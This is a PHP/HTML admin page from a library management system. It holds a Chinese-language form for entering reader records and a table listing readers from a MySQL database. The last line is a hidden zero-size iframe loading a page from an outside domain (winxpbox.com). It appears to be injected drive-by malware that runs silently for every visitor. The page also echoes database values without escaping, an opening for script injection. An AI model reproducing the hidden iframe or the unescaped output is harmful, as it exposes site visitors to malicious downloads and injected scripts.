<?php
include "../config.php";
?>
<link href="../css/css.css" rel="stylesheet" type="text/css">

<form action="readerinfocl.php" method="post" enctype="multipart/form-data" name="form1" id="form1">
  <table width="765" border="0" cellspacing="0" class="table">
    <tr>
      <td height="50" colspan="4" class="tabletitle">　讀者資料設置</td>
    </tr>
    <tr>
      <td height="2" colspan="4" class="titlebg"></td>
    </tr>
    <tr>
      <td height="10" colspan="4" class="word"></td>
    </tr>
    <tr>
      <td height="35" class="word">　　部　　門</td>
      <td width="284" height="35" align="left" class="word">
	  
	  <select name="department" id="department">
	  
<?php //部門下拉列表中的內容
$sql="select department from department";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result))
{
 echo "<option value=".$row["department"].">".$row["department"]."</option>";
}
?>
      </select>	  </td>
      <td width="54" height="35" align="left" class="word">電　話</td>
      <td width="321" height="35" align="left" class="word"><input name="phone" type="text" id="phone" size="20" /></td>
    </tr>
    <tr>
      <td height="35" class="word">　　姓　　名</td>
      <td height="35" align="left" class="word"><input name="readername" type="text" id="readername" size="20" /></td>
      <td height="35" align="left" class="word">性　別</td>
      <td height="35" align="left" class="word"><input name="sex" type="text" id="sex" size="8" /></td>
    </tr>
    <tr>
      <td height="35" class="word">　　出生日期</td>
      <td height="35" align="left" class="word"><input name="birth" type="text" id="birth" size="20" /></td>
      <td height="35" align="left" class="word">職　務</td>
      <td height="35" align="left" class="word"><input name="duty" type="text" id="duty" size="20" /></td>
    </tr>
    
    
    <tr>
      <td width="96" height="35" class="word">　　備　　注</td>
      <td height="35" colspan="3" class="word"><input name="remarks" type="text" id="remarks" size="85" /></td>
    </tr>
    <tr>
      <td height="10" colspan="4" class="word"></td>
    </tr>
    <tr>
      <td height="2" colspan="4" align="center" class="titlebg"></td>
    </tr>
    <tr>
      <td height="50" colspan="4" align="center" class="word">　　　　　　　
        <input type="submit" name="submit" value="保存繼續" />　　
        　
        <input type="reset" name="submit2" value="清空內容" />
      　　　
      <input type="submit" name="submit3" value="返回" /></td>
    </tr>
  </table>
  <br />
  <table width="765" border="0" cellspacing="0" class="table">
    <tr>
      <td height="50" colspan="2" class="tabletitle">　讀者資料顯示</td>
      <td height="50" class="tabletitle">&nbsp;</td>
      <td height="50" class="tabletitle">&nbsp;</td>
      <td height="50" colspan="5" class="tabletitle">　　　　
        <input name="submit5" type="submit" id="submit5" value="修改" />　　　　
        <input name="submit6" type="submit" id="submit6" value="刪除" /></td>
    </tr>
    <tr>
      <td height="2" colspan="9" class="titlebg"></td>
    </tr>
</table>    
  <table class="table" width="765">
    <tr bgcolor="#BCD2E6" height="25">

      <td width="60" align="center" class="word">操　作</td>
      <td width="80" align="center" class="word">姓　名</td>
      <td width="60" align="center" class="word">性　別</td>
      <td width="80" align="center" class="word">出生日期</td>
      <td width="120" align="center" class="word">部　門</td>
      <td width="100" align="center" class="word">職　務</td>
      <td width="60" align="center" class="word">電　話</td>
      <td width="80" align="center" class="word">借書次數</td>
      <td width="80" align="center" class="word">登記日期</td>
    </tr>

<?php
$sql="select * from readerinfo group by department";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result))
{
echo "<tr bgcolor='#BCD2E6'>";
echo "<td height='20' align='center' class='word'>";
echo "<input type=radio selected name=selected value=".$row["id"].">";
echo "</td>";
echo "<td height='20' align='center' class='word'>".$row["readername"]."</td>";
echo "<td height='20' align='center' class='word'>".$row["sex"]."</td>";
echo "<td height='20' align='center' class='word'>".$row["birth"]."</td>";
echo "<td height='20' align='center' class='word'>".$row["department"]."</td>";
echo "<td height='20' align='center' class='word'>".$row["duty"]."</td>";
echo "<td height='20' align='center' class='word'>".$row["phone"]."</td>";
echo "<td height='20' align='center' class='word'>".$row["number"]."</td>";
echo "<td height='20' align='center' class='word'>".$row["regdate"]."</td>";
echo "</tr>";
}
?>		
  </table>
</form>

<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe>